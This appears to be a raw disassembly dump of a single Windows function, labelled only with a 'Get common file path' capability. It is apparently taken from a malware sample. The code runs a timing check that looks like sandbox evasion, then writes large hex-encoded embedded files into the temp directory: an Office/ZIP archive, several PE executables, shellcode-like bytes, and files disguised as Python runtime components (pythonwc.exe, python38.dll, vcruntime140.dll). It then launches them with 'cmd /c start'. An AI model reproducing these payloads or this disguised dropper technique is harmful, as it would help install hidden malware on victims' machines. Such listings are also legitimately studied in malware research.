Function at 0x1400c3b20
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
sub rsp, 0x3f8
lea rbp, [rsp + 0x80]
call fcn.14000b0a0
call fcn.140016530
test eax, eax
sete al
test al, al
je 0x1400c3d63
mov dword [rbp + 0x35c], 0x2710
mov qword [rbp + 0x368], 1
call fcn.14009a730
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x364], 1
jmp 0x1400c3bff
mov dword [rbp + 0x360], 1
jmp 0x1400c3bec
mov eax, dword [rbp + 0x364]
imul eax, dword [rbp + 0x360]
cdqe
mov rdx, qword [rbp + 0x368]
imul rax, rdx
mov qword [rbp + 0x368], rax
mov rcx, qword [rbp + 0x368]
movabs rdx, 0x89705f3112a28fe5
mov rax, rcx
imul rdx
lea rax, [rdx + rcx]
sar rax, 0x1d
mov rdx, rax
mov rax, rcx
sar rax, 0x3f
sub rdx, rax
imul rax, rdx, 0x3b9aca07
sub rcx, rax
mov rdx, rcx
mov qword [rbp + 0x368], rdx
add dword [rbp + 0x360], 1
cmp dword [rbp + 0x360], 0x2710
jle 0x1400c3b84
add dword [rbp + 0x364], 1
cmp dword [rbp + 0x364], 0x2710
jle 0x1400c3b78
call fcn.14009a730
mov qword [rbp + 0x2a0], rax
lea rdx, [rbp + 0x2a8]
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.14009a940
mov qword [rbp + 0x2b0], rax
lea rdx, [rbp + 0x2b0]
lea rax, [rbp + 0x298]
mov rcx, rax
call fcn.14009a7c0
lea rax, str.Elapsed_time:
mov rdx, rax
mov rax, qword [str._z_f_]
mov rcx, rax
call fcn.1400bf4c0
mov rbx, rax
lea rax, [rbp + 0x298]
mov rcx, rax
call fcn.140023480
movq rax, xmm0
movq xmm1, rax
mov rcx, rbx
call fcn.140072ad0
mov rcx, rax
lea rax, str._seconds
mov rdx, rax
call fcn.1400bf4c0
mov rcx, rax
mov rax, qword [0x1407fe730]
mov rdx, rax
call fcn.140072900
lea rax, str.Final_multiplication_result:
mov rdx, rax
mov rax, qword [str._z_f_]
mov rcx, rax
call fcn.1400bf4c0
mov rcx, rax
mov rax, qword [rbp + 0x368]
mov rdx, rax
call fcn.140072b90
mov rcx, rax
mov rax, qword [0x1407fe730]
mov rdx, rax
call fcn.140072900
lea rax, [rbp + 0x298]
mov rcx, rax
call fcn.140023480
movsd xmm1, qword [0x1407f8af0]
comisd xmm1, xmm0
seta al
test al, al
je 0x1400c40ca
lea rax, [rbp + 0x298]
mov rcx, rax
call fcn.140023480
movapd xmm1, xmm0
movsd xmm0, qword [0x1407f8af0]
subsd xmm0, xmm1
movsd qword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
lea rax, [rbp + 0x2b8]
mov rcx, rax
call fcn.14009a7a0
lea rax, [rbp + 0x2b8]
mov rcx, rax
call fcn.140078730
jmp 0x1400c40ca
lea rax, [rbp + 0x100]
mov rdx, rax
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
lea rax, [rbp + 0x2ce]
mov qword [rbp + 0x350], rax
nop
nop
lea rcx, [rbp + 0x2ce]
lea rdx, [rbp + 0x100]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call fcn.1400a6920
lea rax, [rbp + 0x2ce]
mov rcx, rax
call fcn.140092b60
nop
lea rax, [rbp + 0x2cf]
mov qword [rbp + 0x348], rax
nop
nop
lea rdx, [rbp + 0x2cf]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.504b03040a0000000000874ee24000000000000000000000000009000000646f6350726f70732f504b0304140000000800874ee240f90b79ff3b0100006f02000010000000646f6350726f70732f6170702e786d6c9d92cd4a03311485f782ef10b2afe98f8894991441c58d58b0ba8f993b6d602609b9d7a1f559dcb8107c0357be8d828f616602752aba71779273387c27249badeb8a3510d0389bf3d1c19033b0da15c62e737eb3381f1c7386a46ca12a6721e71b403e93fb7bd93c380f810c208b151673be22f2532150afa05678106d1b9dd2855a513c86a5706569349c3a7d5f8325311e0e8f04ac096c01c5c06f0b796a9c36f4dfd2c2e9960f6f171b1f816576e27d65b4a2b8525e1a1d1cba92d8d95a439589be995d806ac7cf950928b386a60d687281a17988f3c79cdd2984b636e78d0a46598af56d2c1d3a5d79a4203f5e9fdfdf1e3f9f5e3211fd74d7c97eb4afcda19c74812876836d41e288c62ee1c250057855ce55a05f80277de08e21e1269ceb15008dfa7c5bd2ce1aff6d25d2feaaee9d22df0f22f1fd53e417504b0304140000000800874ee24055620a77370100003d02000011000000646f6350726f70732f636f72652e786d6c7d915f4bc33014c5df05bf43c97b9ba4fbe3086d072a7b722058517c0bc9dd166cd29044bb7d7bb3aeab13c5c770cefddd734f8ae55e37c92738af5a53229a11948011ad54665ba2e77a952e50e203379237ad81121dc0a365757d5508cb44ebe0d1b5165c50e09348329e095ba25d089661ecc50e34f7597498286e5aa779884fb7c5968b77be059c1332c71a02973c707c04a67624a20129c588b41faee9015260684083091ed38ce26f6f00a7fd9f03bd72e1d42a1c6cbc69887bc996e2248eeebd57a3b1ebbaac9bf431627e8a5fd70f4ffda9a932c7ae04a0ead84fc37d58c72a370ae4eda112e077aac0bf85428a3e1a130e780099c465ec14edacbc4ceeeeeb15aa72924f52324b695e53cae88c11f256e0b36b98af46a01eb6ff4f9ca6649ae6d39accd96cc1e8cd05f10ca8fadc3f3fbcfa02504b0304140000000800874ee24061e2c8df2a0100001102000013000000646f6350726f70732f637573746f6d2e786d6ca5914d4bc3401086ef82ff61d9fb663ff2d1dd92a4e4a305f1a0a0f62a21d9b48164376437d522fe77b7d42a1ebce8717887679e998957af430f0e72329d5609a41e8140aa5a379dda25f0e971833804c656aaa97aad64028fd2c0557a7d15df4f7a9493eda4010ea14c02f7d68e4b8c4dbd9743653c172b97b47a1a2aebca698775db76b52c753d0f5259cc0889703d1bab07347ee1e099b73cd8bf221b5d9fecccf6f1383add34fe841f413bd8ae49e05b191665199210b1b52810253447c2170b4438212c67c54664eb7708c65333834055835bfdf6e1ce619bb9b6f9dcf5cd564e0e7db0cb7e7c31764a190919a2cc7337f468b46022c6df618c2f0effb4f12f3637c5f6c7f8822f029f053ca3220b18cf4411449cf9110fcba8c80979a6ec37217cbad6f997e907504b03040a0000000000874ee24000000000000000000000000003000000786c2f504b03040a0000000000874ee2400000000000000000000000000e000000786c2f776f726b7368656574732f504b0304140000000800874ee240549989ac180300003407000018000000786c2f776f726b7368656574732f7368656574312e786d6c8d555b4fdb30147e9fb4ffe0f9610209e2a43768d714412f1bd290d060975737715a8b240eb6d3c07efd8eed26b40d62546d631f7fe79cefdce2f1c55396a20d938a8b3cc481e763c4f248c43c5f85f8e7fde2f41c23a5691ed354e42cc4cf4ce18bc9c70fe34ac807b5664c23b090ab10afb52e4684a868cd32aa3c51b01c4e122133aa612b57441592d1d82a6529e9f8fe806494e7d85918c9f7d81049c22336135199b15c3b2392a554037fb5e685aaad3dc5efb2174b5a41ac359f1d8a3377d2d80b7a2d7e198fa45022d15e2432e2a8b5a31c92e15e9c59d432f44ab2322a1fcae2140c1710dc92a75c3fdb706b424cbfd8a9aacaab0ae545f996c54e828233c2f4b4545a6433aa299e8c6d056e25998c630e5934a547922521be0c468b2e06b945fce2ac523b6ba4e9f28ea52cd22c8656c1c8b4c052880703bc06916f6c5b80b14823cd376ccad234c45f07d0458fd6072cc101693cecae6b6f0bdb34b712c52ca165aaa722fdcd63bd0ef110d7b21fa2fac6f86aad814acfeb61244a9df29c7d671b96c261883bfb323012e2be711e89143cc13fca38347d17a38c3ed967e5bc048117748683e68b5164f3b725116c8d3875706dd5e1f9a27ed67f53074ead0e3c6b1ddffb8f0ea4d0eac0b3d619789d57fd1017a1cdb1a9f9642c4585601ea06826619d9e1780a22aa819dc603480c245e6fc1200468211a0144837137f4c3650a3688bb8aa11268f46657a28981d0ae68782c58e8000b3861e54ccd6b3ef997e69b383736007ff0dbbe0809d4340451b44671f316d23bafb88591bd1db47ccdb88fe3e62d1460c1ac45ec840f5cd90e11c42eed98e33e9be7202d7c736ff4e60a7ca1664768898d7029b142da1acc9e47efee7fee8e67a7634ed9e9c9d9c1f9f7c7e2c85fee2c3e713713f27391e93c4f44143df3a81d784e16569b878dc44bb6ecb985cd9c9572812650eb508c069237d79d9d84922cd014c654157ec86ca15cf154a5902aa3018184937e976ad4561a5d0c14ba1e1b556efd670bb30c891ef01bb44085d6fa0578ddd3ba6cb0215b460f28eff85cb0cde264272b847ecf511e242482d29d726dbced8c25a812d69eebbc93f504b0304140000000800874ee240e13a8b71ba01
mov rcx, rax
call fcn.1400a25a0
lea rax, [rbp + 0x2cf]
mov rcx, rax
call fcn.140092b50
nop
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x60]
lea r8, [0x1400ce3b8]
mov rcx, rax
call fcn.1400c00b0
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140016240
lea rax, [rbp + 0x2d0]
lea rdx, [rbp - 0x20]
mov r8, rdx
lea rdx, str.cmd__c_start
mov rcx, rax
call fcn.1400c0000
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.140016120
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.1400a7470
lea rax, [rbp + 0x2fc]
mov qword [rbp + 0x340], rax
nop
nop
lea rdx, [rbp + 0x2fc]
mov rax, rbp
mov r8, rdx
lea rdx, str.4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000000025c3814444add24444add24444add24d3c3ed24e44add2162cacd34644add2162ca8d35544add2162ca9d34e44add2162caed34644add2d52dacd34744add22122acd34644add24444acd27444add2d52da5d34544add2d52d52d24544add2d52dafd34544add2526963684444add2000000000000000000000000000000005045000064860600b053575c0000000000000000f00022000b020e100014000000540100000000005413000000100000000000400100000000100000000200000600000000000000060000000000000000b00100000400006bac01000200608180841e00000000000010000000000000000010000000000000100000000000000000000010000000000000000000000074380000b40000000060000078350100005000004002000000660100181a000000a001001c0000004032000054000000000000000000000000000000000000000000000000000000a032000000010000000000000000000000300000c00100000000000000000000000000000000000000000000000000002e74657874000000f8130000001000000014000000040000000000000000000000000000200000602e72646174610000a00f0000003000000010000000180000000000000000000000000000400000402e6461746100000038060000004000000002000000280000000000000000000000000000400000c02e70646174610000400200000050000000040000002a0000000000000000000000000000400000402e72737263000000783501000060000000360100002e0000000000000000000000000000400000402e72656c6f6300001c00000000a0010000020000006401000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040534883ec20ff1554210000488b18ff1543210000488bd38b084883c4205b48ff258a210000ff2584210000cccccccccccccccccccc66660f1f840000000000483b0dc12f0000f2751248c1c11066f7c1fffff27502f2c348c1c910e93b030000cccccc40534883ec20b902000000e820120000e8c70c00008bc8e84a120000e869120000488bd8e8af0c0000b9010000008903e81b09000084c07473e85a0f0000488d0d8f0f0000e8520b0000e8810c00008bc8e8e611000085c07552e88d0c0000e8dc0c000085c0740c488d0d5d0c0000e8c2110000e8930c0000e8920c0000e8650c00008bc8e8f4110000e8790c000084c07405e8aa110000e8570e0000e84a0e000085c075064883c4205bc3b907000000e8ae0c0000cccc4883ec28e8630c000033c04883c428c34883ec28e87b0e0000e80e0c00008bc84883c428e9a3110000cccccc4883ec28e8330b00004883c428e902000000cccc48895c2408574883ec30b901000000e8f807000084c00f84300100004032ff40887c2420e8770600008ad88b0d2334000083f9010f841d01000085c9754ac7050c34000001000000488d1555200000488d0d36200000e80111000085c0740ab8ff000000e9d8000000488d1514200000488d0dfd1f0000e8da100000c705ce33000002000000eb0840b70140887c24208acbe835090000e8b80b0000488bd848833800741e488bc8e88308000084c074124533c0418d500233c9488b03ff15a91f0000e8940b0000488bd8488338007414488bc8e85708000084c07408488b0be89b100000e8ce0c00000fb7d8e85e1000004c8bc0448bcb33d2488d0da3edffffe89efdffff8bd8e8f30c000084c074504084ff7505e85910000033d2b101e8cc0800008bc3eb198bd8e8d10c000084c07436807c2420007505e83b1000008bc3488b5c24404883c4305fc3b907000000e8160b000090b907000000e80b0b00008bcbe8fa0f0000908bcbe8f80f000090cccccc4883ec28e85b0a00008bc84883c428e9bc0f0000e9bd0f0000cccccc40534883ec20e81d0c00000fb7d8e8ad0f00004c8bc0488d0df7ecffff448bcb33d24883c4205be9e8fcffffb902000000e9720f0000cccc40534883ec20e8bf0f0000488bd8e8050a000089034883c4205bc3cc4883ec28e8f70900008bc84883c428e9760f00004883ec28e8270900004883c428e9f6fdffffcccc40534883ec20488bd933c9ff15bf1c0000488bcbff15be1c0000ff15a81c0000488bc8ba090400c04883c4205b48ff258c1c000048894c24084883ec38b917000000e8a50f000085c07407b902000000cd29488d0d1f2d0000e8da020000488b442438488905062e0000488d4424384883c008488905962d0000488b05ef2d0000488905602c0000488b442440488905642d0000c7053a2c
mov rcx, rax
call fcn.1400a25a0
lea rax, [rbp + 0x2fc]
mov rcx, rax
call fcn.140092b50
nop
lea rax, [rbp + 0x2fd]
mov qword [rbp + 0x338], rax
nop
nop
lea rdx, [rbp + 0x2fd]
lea rax, [rbp + 0x20]
mov r8, rdx
lea rdx, str.e920000000ecfd37b56ca9fa5be91a29868050d6d0ed64c7b9446cc9a6e39f462aa4ba1a83554889e54881ecb9000000c80000004883ec7c51594883c47cc94881c4b9000000c9e8c87b0600e900000000415e4962a0f11b000000539a589ea0020100002315ac07b185f9ffb772ebc6bef049c905240d1a073dd8fafdb7c62ef07bceffbf31d083ad3d00c08daac08d364400ff169f224496a2875bc378734a3e4501efb6ff478a3c3e450f90fe8391728860725a2a7969153945a0897effc30000b19218fd3ad0a2adc7c272ffec6d15280596867640410c5dfeae2c46628b2529e8e3da6d63ee75649b602cc57bc283c4cfeaf13b8d5183d46b7de1a827e923909ab7d98bb0360170142395570b4c6611607eaa228310423f994f338a9c4c600a451dfc774afedc862948de3c80bfdc8cdaa03b59dad3142e85cedf5e8152656a43dfb48e5f30d81ce49c84c0d07b70ef246b4e2c824eaff3d50a9fb48d4e89b31a786baa2ee73c793b93ab969e67ce535dca8c9ef055913acbe29b6fe42a5c37ec8f24a3aee0c53924dda5abe9473eddb288a4e1e87a34f214090a479cf37a89e1447198393d53f76d4ab0569ad2d96f7424fbe746f87f5af9bd373f645114f18cdc90b45b6ab8ff0d6ec34a6ab820d823840e4e64910d362970f307b52d8a586c411ee66480a2c7387b0c077eff8dd75c33f1b3d172da2cadae2afa3ca7dab3609f3e9a17d7930d78285f20876624838eccaa4907e6e4caeab043ffcda5b03864d568f9dfd4830f140453171d613416f144d5040df4069cf5fcdd52b4640ad1eca9e76e73aacc7304c2905cda8dd98a7fed6fe25f65f9bd112c41d40503cb918f02a815616161bdfd1790229d6832d55b6f6db7d1555698aa8e79a76d829d41d0d19fb4a389f1b09d700bd7a91a362bb99781e8eb64ea5c222f5f33b9910318ccb5b19ca9ac526a2d7c61d2c9af8aadfa8fdec7e6c04d230311fa85565a9e0354faeb106c8f114fa54e35b821ba7e5f703a3be2b6dcedf3610d403d35043773af61bd6689f126434fd4859f2ceaaad6c19c07a39cec29bb53b299dc7a1b5ab4cef852c8be4d9a3577deacd4c411245004381241445ada3d4e3ace63a7e2945e6db0d78e8a41afac01ca1f89082c47b17bb557ff6fc077f010c2e27ace4e137f9293b6409be9a8af4d0c55e2810d051544820cf94dd79d1d12770e5e0297615eec0426246d649043616dec3d4efdf913faee8abd0382d0eca8e8c68197cc0b805349cfc7f166a5810605397d196b1846fa29f1b055ecfa406aabd30236256f38b2130e8031c682ff8fee0d1af16d5cf0e5355e265693a2ddf6308d5fe543915458249c55c61216adf96ac5ac8ee59faac4d0e7360f81b908fc4434cb4426c9707cdd202ece9d4f489cabd46c27320652a278d9dc0cd01b79b66cfffffc1baf760d3828113515900cafd789d66d14c30ee78df814fc763b70fa9075f233702608e24307e619a7ba6c862af40abbeea024831e75adad4ea366fb5b4f41f30c3e3a5b09df22ac5cdee66e0a65c1fecb14be377f4ccec1de09a2c8033bdc3896148327cbb740b206bc63bd1e9c2b85f0585bc29354bde98235b715ba3fdf05d00c370fc8edbe2f201c929dd9f0f9325a449724932e62ef40b57873d4e0d33d0eff79429212376bc9f18b407f87960e75848d1609a660929de3c7fcacfce8b7b71f23b46e95887ded0b77f2a1c1c55abedf482e291f64aeedff75644381b56eb114cf21f8deaaf2b1ba5fae3c93c2033c0b33996fbbb49e8acd9c5989b1765f6d9f9b8cecc5c13bc88b5d93cd256faf8f9472975134d41adfd662140c304c9bc316b8f35e0bacbeb2412ebd9a12a351156e0f7d8cb93267053900e8c2d7d23724e79717092a9fd7f8ddb41b512f008282d182d6cd1fe9972e59ec20db1298a2894338fe066e215f306647c59b5fa6c1ecbce641939ad68666a1fb146acf8eb496639e5da7e6499e6879288914469b2dd9f87c60b543970e37c79137e83c9232720d99605dd1208eb08726c095482882c94ae93f32b58e95a56ed86f6651df332e86fdd367af240e2a15623129c3f209d3096fa35a6882bcbb8625488212a1132af37e6d69805b6f07fc98fb6fafb42f71b82f270f90852bb6ee2e1e69675aebab0a156b4332d400d6fffe578217a0fd872204ed1dfd4aa43f1d20c6ff0de7803b6c681946005e68a4898d2e568c476fb0080d6ffe349867518d4ce62faf23d6ac3fe5b8b882a44be6c153234b57c5cd753e5397dd6d6b7fdf6c11e7d70d7e0924d7eca658629531fc0440d371307717e797d0411b75b24e35d490b38670d4343f5b3613a1dea525e423ab8ae79fdf4873f1a4b357baba57d2db83c4fdd2b7e4869d17f2681a56d68c6d95ecb69a1b950f2bb9680a7e5e0ced418a3cccbebd53e8464aa7e970ea955bea24f52de045b3f573663279f68cc64ac93dec67a0d6f90afbc69cc156977f61a28d3db77fbc923fbac1513b30d99aed0b8e6804a1469eab6c17a4e984bcf0a231571881278577d0d9ca4d2bde30d49e4c2890afc36bcf16451885d8f25c14f3763b27b3ef994b746fd2186c958698d68729fddec5d6d6b68b486ac60613bc80e3cbb18e82722f99e42d169019b442b2156511f09a38e463ede0b3525ace1f7b4282aa6d24d24d3deda3b8c45991fb80971036670e582c1e4118d7f30e7d2908ad93bc97d93cd5c0dc7e61a79fc30f4e8da252758e3a3ad0cb1805ab8ba8b3dcc0aebb4d7415c5fae4dbea7bffeebedbb9ee017263de96228969e4a8dba42db5e089581e2e1046f5aa9bfdd50879c29295194f1c93df9c9419e0fdbf522d884020d3daef8a54bf463060f7e7f44e7431089a7e6480a598e0
mov rcx, rax
call fcn.1400a25a0
lea rax, [rbp + 0x2fd]
mov rcx, rax
call fcn.140092b50
nop
lea rax, [rbp + 0x2fe]
mov qword [rbp + 0x330], rax
nop
nop
lea rdx, [rbp + 0x2fe]
lea rax, [rbp + 0x40]
mov r8, rdx
lea rdx, str.4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a240000000000000050450000648614007e53276600301000397c0000f00026200b020227007c0c00007c0f00000e000020130000001000000000dfa80300000000100000000200000400000000000000050002000000000000e0100000060000ddbf2800020060010000200000000000001000000000000000001000000000000010000000000000000000001000000000800f004700000000900f0060170000000000000000000000a00d00a0b60000000000000000000000d00f008c14000000000000000000000000000000000000000000000000000040020d002800000000000000000000000000000000000000f8950f00e00400000000000000000000000000000000000000000000000000002e74657874000000207a0c0000100000007c0c0000060000000000000000000000000000600000602e64617461000000e01f000000900c000020000000820c00000000000000000000000000400000c02e7264617461000080ed000000b00c0000ee000000a20c00000000000000000000000000400000402e70646174610000a0b6000000a00d0000b8000000900d00000000000000000000000000400000402e786461746100006404010000600e000006010000480e00000000000000000000000000400000402e62737300000000200c000000700f000000000000000000000000000000000000000000800000c02e656461746100004700000000800f0000020000004e0f00000000000000000000000000400000402e696461746100006017000000900f000018000000500f00000000000000000000000000400000c02e435254000000005800000000b00f000002000000680f00000000000000000000000000400000c02e746c73000000001000000000c00f0000020000006a0f00000000000000000000000000400000c02e72656c6f6300008c14000000d00f0000160000006c0f00000000000000000000000000400000422f340000000000001001000000f00f000002000000820f00000000000000000000000000400000422f3139000000000055660000000010000068000000840f00000000000000000000000000400000422f333100000000004a0e0000007010000010000000ec0f00000000000000000000000000400000422f34350000000000240f0000008010000010000000fc0f00000000000000000000000000400000422f35370000000000a80700000090100000080000000c1000000000000000000000000000400000422f37300000000000e501000000a010000002000000141000000000000000000000000000400000422f38310000000000430a000000b01000000c000000161000000000000000000000000000400000422f39370000000000d50b000000c01000000c000000221000000000000000000000000000400000422f31313300000000ad00000000d0100000020000002e1000000000000000000000000000400000420000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000488d0df95f0f00e9844c01000f1f400041554154555756534883ec2885d24889cf4d89c5757a8b05ec5f0f0085c07e5983e801488b1d46040d0031edbf010000004c8b25e0860f008905ca5f0f00eb08b9e803000041ffd44889e8f0480fb13b4885c04889c675e8488b3d21040d008b0783f8020f84c6000000b91f000000e88c490100ba0100000089d04883c4285b5e5f5d415c415dc30f1f84000000000083fa0175df65488b042530000000488b1dcb030d0031ed488b70084c8b2566860f00eb150f1f40004839c60f848f000000b9e803000041ffd44889e8f0480fb1334885c075e231ed488b35a1030d008b0683f8010f84c60000008b0685c00f847c0000008b0683f8010f849100000085ed745d488b05e6020d00488b004885c0740d4d89e8ba020000004889f9ffd08305e25e0f0001ba01000000e949ffffff488d0db95e0f00e82c4b0100c70700000000488733e92affffff660f1f440000bd01000000eb81660f1f84000000000031c0488703eb9c660f1f840000000000488b1569030d00c70601000000488b0d4c030d00e8074b0100e966ffffff6690488b1529030d00488b0d12030d00e8ed4a0100c70602000000e951ffffff6690b91f000000e846480100e935ffffff904154555756534883ec204c8b258f020d0085d24889ce89d3418914244c89c775478b05215e0f0085c0745fe890a00000
mov rcx, rax
call fcn.1400a25a0
lea rax, [rbp + 0x2fe]
mov rcx, rax
call fcn.140092b50
nop
lea rax, [rbp + 0x2ff]
mov qword [rbp + 0x328], rax
nop
nop
lea rdx, [rbp + 0x2ff]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str.4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000005a57428e1e362cdd1e362cdd1e362cddaaaac3dd1c362cdd174ebfdd15362cdd1e362ddd32362cdd4c5e2fdc12362cdd4c5e28dc0e362cdd4c5e29dc01362cdd4c5e2cdc1f362cdd4c5ed3dd1f362cdd4c5e2edc1f362cdd526963681e362cdd0000000000000000000000000000000000000000000000005045000064860600952ac15b0000000000000000f00022200b020e0f00be0000005200000000000020c200000010000000000080010000000010000000020000060000000a00000006000000000000000050010000040000320402000300604100001000000000000010000000000000000010000000000000100000000000000000000010000000b0f8000034080000e40001008c00000000300100000400000020010084090000000e0100f03e0000004001007401000050e600003800000000000000000000000000000000000000000000000000000090e6000000010000000000000000000000d00000880100000000000000000000000000000000000000000000000000002e7465787400000043bd00000010000000be000000040000000000000000000000000000200000602e72646174610000d836000000d000000038000000c20000000000000000000000000000400000402e6461746100000020090000001001000004000000fa0000000000000000000000000000400000c02e706461746100008409000000200100000a000000fe0000000000000000000000000000400000402e7273726300000000040000003001000004000000080100000000000000000000000000400000402e72656c6f630000740100000040010000020000000c0100000000000000000000000000400000420000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000cccccccccccc66660f1f8400000000004883ec2848894c243048895424384489442440488b12488bc1e822080000ffd0e84b080000488bc8488b542438488b1241b802000000e8050800004883c428c3cccccccccccc66660f1f8400000000004883ec2848894c243048895424384c8944244044894c2448458bc1488bc1e8cd070000488b4c2440ffd0e8f1070000488bc8488b54243841b802000000e8ae0700004883c428c3cccccccccccccccccccccccccccccc66660f1f8400000000004983f810723b0fb6d2b8010101010fafd0660f6ec2660f70c000660f1f440000f30f6f094883c1104983e810660f74c866480fd7c1480fbcc075284983f81073df4d85c0741966660f1f8400000000008a0148ffc132c274104983e80175f14833c0c3488d4408f0c3488d41ffc3cccccccccccccccc66660f1f840000000000482bd14983f8087222f6c107741466908a013a0411752c48ffc149ffc8f6c10775ee4d8bc849c1e903751f4d85c0740f8a013a0411750c48ffc149ffc875f14833c0c31bc083d8ffc39049c1e9027437488b01483b0411755b488b4108483b441108754c488b4110483b441110753d488b4118483b441118752e4883c12049ffc975cd4983e01f4d8bc849c1e903749b488b01483b0411751b4883c10849ffc975ee4983e007eb834883c1084883c1084883c108488b0c0a480fc8480fc9483bc11bc083d8ffc3cccccccccccccccccccccccccccccc66660f1f8400000000005756498bc3488bf9498bc8498bf2f3a45e5fc3cccccccccccc0f1f80000000004c8bd94c8bd24983f81076644983f820763e482bd1730d4b8d0410483bc80f823c0300004981f8800000000f865f0200000fba2533010100010f83a1010000eb9f666666666666660f1f8400000000000f1002420f104c02f00f1101420f114c01f0488bc1c366660f1f840000000000488bc14c8d0d46edffff438b8c81c71200004903c9ffe1101300002f130000111300001f1300005813000060130000701300008013000018130000b0130000c013000040130000d013000098130000e013000000140000351300000f1f440000c30fb70a668908c3488b0a488908c30fb70a440fb6420266890844884002c30fb60a8808c3f30f6f02f30f7f00c366904c8b020fb74a08440fb64a0a4c8900668948084488480ac38b0a8908c30f1f008b0a440fb64204890844884004c366908b0a440fb7420489086644894004c3908b0a440fb74204440fb64a068908664489400444884806c34c8b028b4a08440fb64a0c4c89008948084488480cc366904c8b020fb64a084c8900884808c366904c8b020fb74a084c890066894808c3904c8b028b4a084c8900894808c30f1f004c8b028b4a08440fb74a0c4c8900894808664489480cc3660f1f840000000000
mov rcx, rax
call fcn.1400a25a0
lea rax, [rbp + 0x2ff]
mov rcx, rax
call fcn.140092b50
nop
lea rax, [rbp + 0x80]
lea rdx, [rbp - 0x60]
lea r8, str.pythonwc.exe
mov rcx, rax
call fcn.1400c00b0
lea rax, [rbp + 0xa0]
lea rdx, [rbp - 0x60]
lea r8, str.python.bin
mov rcx, rax
call fcn.1400c00b0
lea rax, [rbp + 0xc0]
lea rdx, [rbp - 0x60]
lea r8, str.python38.dll
mov rcx, rax
call fcn.1400c00b0
lea rax, [rbp + 0xe0]
lea rdx, [rbp - 0x60]
lea r8, str.vcruntime140.dll
mov rcx, rax
call fcn.1400c00b0
lea rdx, [rbp + 0x80]
mov rax, rbp
mov rcx, rax
call fcn.140016240
lea rdx, [rbp + 0xa0]
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.140016240
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.140016240
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.140016240
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x80]
mov r8, rdx
lea rdx, str.cmd__c_start
mov rcx, rax
call fcn.1400c0000
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.140016120
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400a7470
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.1400a7470
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400a7470
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400a7470
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400a7470
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400a2ee0
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.1400a2ee0
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400a2ee0
mov rax, rbp
mov rcx, rax
call fcn.1400a2ee0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400a7470
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a2ee0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a7470
mov eax, 0
jmp 0x1400c424d
add rsp, 0x3f8
pop rbx
pop rbp
ret